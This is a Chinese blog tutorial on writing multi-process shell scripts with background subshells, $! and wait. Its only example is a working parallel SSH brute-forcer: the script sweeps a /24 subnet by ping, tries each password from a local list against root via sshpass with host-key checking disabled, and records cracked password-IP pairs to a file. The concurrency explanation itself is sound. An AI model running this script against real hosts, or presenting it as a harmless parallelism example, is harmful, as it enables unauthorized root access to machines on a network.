shell编程进阶02 多进程写法

站长QQ群

用于技术交流、投稿、商务合作 站长唯一QQ:528482275 站长唯一QQ群:649978721

IT运维技术交流

特别声明:文章多为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系!

 

01、说明

 

shell多进程写法很简单,其实就是将子进程放入后台。大致可以分为3步:

 

  1. ()启动子进程,并放入后台
  2. 记录子进程pid
  3. 用wait等待所有子进程结束

     

 

 

02、下面脚本演示了shell并行进程写法

 

#!/bin/bash#author:linuxtime
pidlist=()ip="192.168.1." for ((i=1; i<254; i++)); do    (echo "检测IP:"${ip}${i}  # 1、启动子进程,并放入后台    ping -c 2 ${ip}${i} > /dev/null    if [ $? == 0 ]    then        for passwd in $(cat ./passwd)         do            echo "正在枚举IP:"${ip}${i}            sshpass -p $passwd ssh -o StrictHostKeyChecking=no root@${ip}${i} pwd            if [ $? == 0 ]            then                echo ${passwd}--${ip}${i} >> ip.txt                  break            else                echo "枚举失败"                echo "---------------------------------"            fi        done    fi    )&  #将子进程放入后台运行    pidlist+=("$!")    #2、记录子进程piddonewait ${pidlist[@]}   #3、等待所有子进程结束

 

 

03、总结

 

我们利用了shell的操作符&,它会将shell命令置于后台并继续执行脚本。这意味着一旦循环结束,脚本就会退出,而子进程仍在后台运行。为了避免这种情况,我们使用$!来获得进程的PID,在shell中, $!保存着最近一个后台进程的PID。我们将这些PID放入数组,然后使用wait命令等待这些进程结束。

 

未经允许不得转载:作者:小牛, 转载或复制请以 超链接形式 并注明出处 小牛博客
原文地址:《shell编程进阶02 多进程写法》 发布于2019-07-13

分享到:
赞(0) 打赏

评论 抢沙发

3 + 5 =


shell编程进阶02 多进程写法

长按图片转发给朋友

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

网站公告

开启新征程,加油少年。 2019-10-6

开启新征程,加油少年。

不知不觉,都十月多了,即将面临找工作的我来说是尤为重要的,

不管怎么说,十月加油吧。

我已阅读
Vieu4.0主题
专业打造轻量级个人企业风格博客主题!专注于前端开发,全站响应式布局自适应模板。
切换注册

登录

忘记密码 ?

您也可以使用第三方帐号快捷登录

Q Q 登 录
微 博 登 录
切换登录

注册